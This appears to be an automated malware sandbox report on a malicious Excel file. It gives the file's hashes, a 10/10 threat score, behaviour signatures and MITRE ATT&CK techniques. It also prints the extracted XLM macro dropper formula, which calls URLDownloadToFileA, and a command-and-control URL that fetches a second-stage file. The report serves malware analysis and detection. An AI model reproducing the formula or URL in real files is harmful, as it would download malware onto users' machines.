Overview

overview

10

Static

static

10

document-6...92.xls

windows7_x64

10

document-6...92.xls

windows10_x64

10

Sharing

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General

  • Target

    this_issue (74).zip

  • Size

    11KB

  • Sample

    210305-z4hdat5hzs

  • MD5

    bb7b00cde705ee43343e0a0e05182ca3

  • SHA1

    74350d46d4f32913e085de4e797099c6ba7ea5de

  • SHA256

    4d06324eecb613b38d794f04d701378645a28f9e87b1056b95339323c150d93c

  • SHA512

    77e70f0bd3157b7dd5668b3c854a5a9a91dd3c94f1ffd5fda60a01da68de6ac0bfc40c4c936b165cdcc86035f8fdecfb1f292a70e11029b6f46238cd6d6cf37c

Score
10/10
macroxlm

Malware Config

Extracted

Rule
Excel 4.0 XLM Macro
C2

http://dzw10jpcgj03fckc.com/inda.xls

Attributes
  • formulas

    =CALL("URLMon","URLDownloadToFileA","JJCCBB",0,"http://dzw10jpcgj03fckc.com/inda.xls","..\fkruf.djr",0)

Extracted

Language
xlm4.0
Source
URLs
xlm40.dropper

http://dzw10jpcgj03fckc.com/inda.xls

Targets

    • Target

      document-630335192.xls

    • Size

      39KB

    • MD5

      7f32e36c3a4ab9b3c2cb70cdd7232a97

    • SHA1

      19a8b5279606ef888421ed4482f4222a184b6313

    • SHA256

      64d8b1c5f101aca6c0f3e6b31e12bc2acef52ae9ab490b07ed5e228ed43aefd0

    • SHA512

      98ee0d78a0ed8ba81a5b9bce1a4745d99d9351ddc3eee6be76f5f3386cffe07bbb30a6e65a1e7cad6b5fdc47af21fd7a88fe4bbcae0e7c0667cfd3d65f63f002

    Score
    10/10

    • Process spawned unexpected child process

      This typically indicates the parent process was compromised via an exploit or macro.

    behavioral1behavioral2

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

1
T1112

Credential Access

Discovery

Query Registry

2
T1012

System Information Discovery

2
T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Tasks